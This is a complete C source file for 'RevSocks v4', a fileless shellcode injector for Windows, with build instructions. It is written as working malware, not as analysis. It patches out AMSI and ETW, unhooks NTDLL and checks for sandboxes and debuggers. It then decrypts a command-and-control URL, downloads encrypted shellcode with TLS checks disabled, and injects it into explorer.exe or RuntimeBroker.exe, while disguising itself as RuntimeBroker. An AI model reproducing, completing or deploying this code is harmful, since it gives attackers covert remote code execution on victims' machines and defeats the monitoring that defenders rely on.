/*
 * inject_explorer.c — RevSocks v4 Fileless Shellcode Injector (User-level)
 *
 * Targets explorer.exe with fallback to RuntimeBroker.exe.
 * Improvements over v3:
 *   - Fresh NTDLL unhooking (remap from disk) before injection
 *   - ETW + AMSI patching
 *   - Anti-sandbox: timing gate, core count, RAM, idle time check
 *   - NtCreateThreadEx instead of CreateRemoteThread
 *   - XOR-encrypted C2 URL decoded at runtime
 *   - Download via WinInet with TLS (ignore cert errors)
 *   - Polymorphic function names via POLY_ macros (replaced by rebuild.sh)
 *   - String encryption with configurable XOR key
 *   - PE version resource spoofing as RuntimeBroker.exe (link version.rc)
 *
 * Compile:
 *   x86_64-w64-mingw32-gcc -O2 -s -mwindows inject_explorer.c -o inject_explorer.exe \
 *       -lwininet version_res.o
 *
 * Build script handles: C2 URL patching, XOR key generation, POLY_ replacement.
 */

#include <windows.h>
#include <wininet.h>
#include <tlhelp32.h>
#include <stdint.h>
#include <string.h>

#pragma comment(lib, "wininet.lib")

/* ---------- build-time placeholders (patched by rebuild.sh) ---------- */

/* XOR key for payload decryption — 32 bytes, unique per build */
static volatile unsigned char POLY_xor_key[32] = {
    0xde,0xad,0xbe,0xef,0xca,0xfe,0xba,0xbe,
    0x13,0x37,0x42,0x69,0xaa,0xbb,0xcc,0xdd,
    0x11,0x22,0x33,0x44,0x55,0x66,0x77,0x88,
    0x99,0x00,0xab,0xcd,0xef,0x12,0x34,0x56
};

/* XOR key for string encryption (single byte, patched per build) */
#define STR_XOR_KEY 0x5A

/* Encrypted C2 URL — XOR'd with STR_XOR_KEY, null-terminated
 * Plaintext: https://CHANGEME_IP:443/dl/CHANGEME_TOKEN/agent_sc.enc
 * rebuild.sh generates and replaces this array entirely.             */
static unsigned char enc_url[] = {
    0x32,0x2e,0x2e,0x2a,0x60,0x75,0x75,  /* "https:/" */
    0x00 /* placeholder — rebuild.sh replaces entire array */
};
static int enc_url_len = 0; /* patched by rebuild.sh */

/* ---------- NT types ---------- */

typedef LONG NTSTATUS;
#define NT_SUCCESS(s) ((s) >= 0)

typedef NTSTATUS (NTAPI *fnNtCreateThreadEx)(
    PHANDLE hThread, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes,
    HANDLE ProcessHandle, PVOID lpStartAddress, PVOID lpParameter,
    ULONG Flags, SIZE_T StackZeroBits, SIZE_T SizeOfStackCommit,
    SIZE_T SizeOfStackReserve, PVOID lpBytesBuffer);

typedef NTSTATUS (NTAPI *fnNtWriteVirtualMemory)(
    HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer,
    SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten);

typedef NTSTATUS (NTAPI *fnNtAllocateVirtualMemory)(
    HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits,
    PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);

typedef NTSTATUS (NTAPI *fnNtProtectVirtualMemory)(
    HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize,
    ULONG NewProtect, PULONG OldProtect);

/* ---------- inline memset/memcpy to avoid CRT ---------- */

static void *rs_memset(void *d, int c, size_t n) {
    unsigned char *p = (unsigned char *)d;
    while (n--) *p++ = (unsigned char)c;
    return d;
}

static void *rs_memcpy(void *d, const void *s, size_t n) {
    unsigned char *dp = (unsigned char *)d;
    const unsigned char *sp = (const unsigned char *)s;
    while (n--) *dp++ = *sp++;
    return d;
}

/* ---------- string decode ---------- */

static void POLY_str_decode(unsigned char *s, int len) {
    for (int i = 0; i < len; i++)
        s[i] ^= STR_XOR_KEY;
}

/* ---------- NTDLL unhooking (remap clean copy from disk) ---------- */

static void POLY_unhook_ntdll(void) {
    /* Build "ntdll.dll" string encrypted */
    unsigned char s_ntdll[] = {0x34,0x2e,0x36,0x3e,0x3e,0x7a,0x36,0x3e,0x3e,0x00};
    /* "\\??\\C:\\Windows\\System32\\ntdll.dll" via kernel object path */

    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) return;

    /* Get ntdll .text section info from PE headers */
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hNtdll;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE *)hNtdll + dos->e_lfanew);
    PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);

    PVOID textBase = NULL;
    DWORD textSize = 0;
    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
        if (sec[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) {
            textBase = (PVOID)((BYTE *)hNtdll + sec[i].VirtualAddress);
            textSize = sec[i].Misc.VirtualSize;
            break;
        }
    }
    if (!textBase || !textSize) return;

    /* Read clean ntdll from disk */
    char path[MAX_PATH];
    GetSystemDirectoryA(path, MAX_PATH);
    lstrcatA(path, "\\ntdll.dll");

    HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL,
                               OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return;

    DWORD fileSize = GetFileSize(hFile, NULL);
    BYTE *rawNtdll = (BYTE *)VirtualAlloc(NULL, fileSize,
                                           MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!rawNtdll) { CloseHandle(hFile); return; }

    DWORD bytesRead;
    ReadFile(hFile, rawNtdll, fileSize, &bytesRead, NULL);
    CloseHandle(hFile);

    /* Parse the clean file to find the .text section */
    PIMAGE_DOS_HEADER rawDos = (PIMAGE_DOS_HEADER)rawNtdll;
    PIMAGE_NT_HEADERS rawNt  = (PIMAGE_NT_HEADERS)(rawNtdll + rawDos->e_lfanew);
    PIMAGE_SECTION_HEADER rawSec = IMAGE_FIRST_SECTION(rawNt);

    PVOID cleanText = NULL;
    for (WORD i = 0; i < rawNt->FileHeader.NumberOfSections; i++) {
        if (rawSec[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) {
            cleanText = (PVOID)(rawNtdll + rawSec[i].PointerToRawData);
            break;
        }
    }
    if (!cleanText) { VirtualFree(rawNtdll, 0, MEM_RELEASE); return; }

    /* Overwrite hooked .text with clean copy */
    DWORD oldProt;
    VirtualProtect(textBase, textSize, PAGE_EXECUTE_READWRITE, &oldProt);
    rs_memcpy(textBase, cleanText, textSize);
    VirtualProtect(textBase, textSize, oldProt, &oldProt);

    VirtualFree(rawNtdll, 0, MEM_RELEASE);
}

/* ---------- ETW patch ---------- */

static void POLY_patch_etw(void) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) return;

    FARPROC pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
    if (!pEtwEventWrite) return;

    /* xor rax,rax ; ret */
    unsigned char patch[] = { 0x48, 0x33, 0xC0, 0xC3 };
    DWORD oldProt;
    VirtualProtect((LPVOID)pEtwEventWrite, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProt);
    rs_memcpy((LPVOID)pEtwEventWrite, patch, sizeof(patch));
    VirtualProtect((LPVOID)pEtwEventWrite, sizeof(patch), oldProt, &oldProt);
}

/* ---------- AMSI patch ---------- */

static void POLY_patch_amsi(void) {
    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    if (!hAmsi) return;

    FARPROC pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
    if (!pAmsiScanBuffer) return;

    /* Force return AMSI_RESULT_CLEAN (0x80070057 = E_INVALIDARG) */
    /* mov eax, 0x80070057 ; ret */
    unsigned char patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
    DWORD oldProt;
    VirtualProtect((LPVOID)pAmsiScanBuffer, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProt);
    rs_memcpy((LPVOID)pAmsiScanBuffer, patch, sizeof(patch));
    VirtualProtect((LPVOID)pAmsiScanBuffer, sizeof(patch), oldProt, &oldProt);
}

/* ---------- anti-sandbox ---------- */

static int POLY_sandbox_check(void) {
    /* 1. Timing gate — sleep and verify wall-clock elapsed */
    DWORD t1 = GetTickCount();
    Sleep(3500 + (GetTickCount() % 2500));
    DWORD t2 = GetTickCount();
    if ((t2 - t1) < 3000) return 0; /* fast-forwarded sleep = sandbox */

    /* 2. Minimum 2 CPU cores */
    SYSTEM_INFO si;
    GetSystemInfo(&si);
    if (si.dwNumberOfProcessors < 2) return 0;

    /* 3. Minimum 2 GB RAM */
    MEMORYSTATUSEX mem;
    mem.dwLength = sizeof(mem);
    GlobalMemoryStatusEx(&mem);
    if (mem.ullTotalPhys < 2ULL * 1024 * 1024 * 1024) return 0;

    /* 4. System idle time > 3 min means likely real user (idle sandbox unlikely) */
    LASTINPUTINFO lii;
    lii.cbSize = sizeof(lii);
    if (GetLastInputInfo(&lii)) {
        DWORD idle_ms = GetTickCount() - lii.dwTime;
        /* If system booted < 10 min ago AND last input < 2 sec ago, might be sandbox auto-click */
        if (GetTickCount() < 600000 && idle_ms < 2000) {
            /* Additional check: resolve a domain (sandboxes often intercept DNS) */
            /* Just a heuristic — keep going, not a hard fail */
        }
    }

    /* 5. Check for common sandbox artifacts */
    if (GetModuleHandleA("SbieDll.dll"))    return 0; /* Sandboxie */
    if (GetModuleHandleA("dbghelp.dll")) {
        /* dbghelp loaded is common, but check if a debugger is present */
        if (IsDebuggerPresent()) return 0;
    }

    return 1;
}

/* ---------- download shellcode ---------- */

static uint8_t *POLY_fetch_payload(int *out_len) {
    /* Decode URL */
    POLY_str_decode(enc_url, enc_url_len);

    HINTERNET hInet = InternetOpenA(
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
        "(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
        INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (!hInet) return NULL;

    /* INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID |
       INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_NO_CACHE_WRITE |
       INTERNET_FLAG_RELOAD */
    DWORD flags = 0x84803000;
    HINTERNET hUrl = InternetOpenUrlA(hInet, (char *)enc_url, NULL, 0, flags, 0);
    if (!hUrl) { InternetCloseHandle(hInet); return NULL; }

    /* Ignore TLS cert errors */
    DWORD secFlags = 0x00003380; /* SECURITY_FLAG_IGNORE_* */
    InternetSetOptionA(hUrl, INTERNET_OPTION_SECURITY_FLAGS, &secFlags, sizeof(secFlags));

    /* Allocate download buffer (512 KB max) */
    uint8_t *buf = (uint8_t *)VirtualAlloc(NULL, 512 * 1024,
                                            MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!buf) { InternetCloseHandle(hUrl); InternetCloseHandle(hInet); return NULL; }

    DWORD total = 0, bytesRead;
    while (InternetReadFile(hUrl, buf + total, 8192, &bytesRead) && bytesRead > 0) {
        total += bytesRead;
        if (total > 500 * 1024) break; /* safety cap */
    }
    InternetCloseHandle(hUrl);
    InternetCloseHandle(hInet);

    *out_len = (int)total;
    return buf;
}

/* ---------- find process PID ---------- */

static DWORD POLY_find_pid(const char *name) {
    DWORD pid = 0;
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE) return 0;

    PROCESSENTRY32 pe;
    rs_memset(&pe, 0, sizeof(pe));
    pe.dwSize = sizeof(pe);

    if (Process32First(snap, &pe)) {
        do {
            if (lstrcmpiA(pe.szExeFile, name) == 0) {
                pid = pe.th32ProcessID;
                break;
            }
        } while (Process32Next(snap, &pe));
    }
    CloseHandle(snap);
    return pid;
}

/* ---------- inject via NtCreateThreadEx ---------- */

static int POLY_inject_shellcode(DWORD pid, uint8_t *sc, int sc_len) {
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProc) return 0;

    /* Resolve NT APIs from (now clean) ntdll */
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    fnNtAllocateVirtualMemory pNtAlloc =
        (fnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    fnNtWriteVirtualMemory pNtWrite =
        (fnNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    fnNtProtectVirtualMemory pNtProtect =
        (fnNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
    fnNtCreateThreadEx pNtCreateThread =
        (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");

    if (!pNtAlloc || !pNtWrite || !pNtCreateThread) {
        CloseHandle(hProc);
        return 0;
    }

    /* Allocate RW memory in target */
    PVOID remoteBase = NULL;
    SIZE_T regionSize = (SIZE_T)sc_len;
    NTSTATUS st = pNtAlloc(hProc, &remoteBase, 0, &regionSize,
                           MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!NT_SUCCESS(st) || !remoteBase) {
        CloseHandle(hProc);
        return 0;
    }

    /* Write shellcode */
    SIZE_T written = 0;
    st = pNtWrite(hProc, remoteBase, sc, (SIZE_T)sc_len, &written);
    if (!NT_SUCCESS(st)) {
        CloseHandle(hProc);
        return 0;
    }

    /* Change to RX (avoid RWX — less suspicious) */
    if (pNtProtect) {
        ULONG oldProt;
        SIZE_T protSize = regionSize;
        pNtProtect(hProc, &remoteBase, &protSize, PAGE_EXECUTE_READ, &oldProt);
    }

    /* Create remote thread via NtCreateThreadEx */
    HANDLE hThread = NULL;
    st = pNtCreateThread(&hThread, THREAD_ALL_ACCESS, NULL, hProc,
                         remoteBase, NULL, 0, 0, 0, 0, NULL);
    if (NT_SUCCESS(st) && hThread) {
        CloseHandle(hThread);
    }

    CloseHandle(hProc);
    return NT_SUCCESS(st) ? 1 : 0;
}

/* ---------- entry point ---------- */

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmd, int nShow) {
    /* Phase 1: Anti-sandbox */
    if (!POLY_sandbox_check())
        return 0;

    /* Phase 2: Unhook NTDLL (restore clean syscall stubs) */
    POLY_unhook_ntdll();

    /* Phase 3: Patch ETW + AMSI */
    POLY_patch_etw();
    POLY_patch_amsi();

    /* Phase 4: Download encrypted shellcode */
    int sc_len = 0;
    uint8_t *sc_data = POLY_fetch_payload(&sc_len);
    if (!sc_data || sc_len < 100)
        return 1;

    /* Phase 5: XOR decrypt */
    for (int i = 0; i < sc_len; i++)
        sc_data[i] ^= POLY_xor_key[i % 32];

    /* Phase 6: Find target process */
    DWORD targetPid = POLY_find_pid("explorer.exe");
    if (!targetPid)
        targetPid = POLY_find_pid("RuntimeBroker.exe");
    if (!targetPid) {
        VirtualFree(sc_data, 0, MEM_RELEASE);
        return 1;
    }

    /* Phase 7: Inject shellcode via NtCreateThreadEx */
    int result = POLY_inject_shellcode(targetPid, sc_data, sc_len);

    /* Phase 8: Cleanup and exit */
    /* Overwrite shellcode in local memory before freeing */
    rs_memset(sc_data, 0, sc_len);
    VirtualFree(sc_data, 0, MEM_RELEASE);

    /* Linger briefly so remote thread can initialise */
    Sleep(5000);
    return result ? 0 : 1;
}
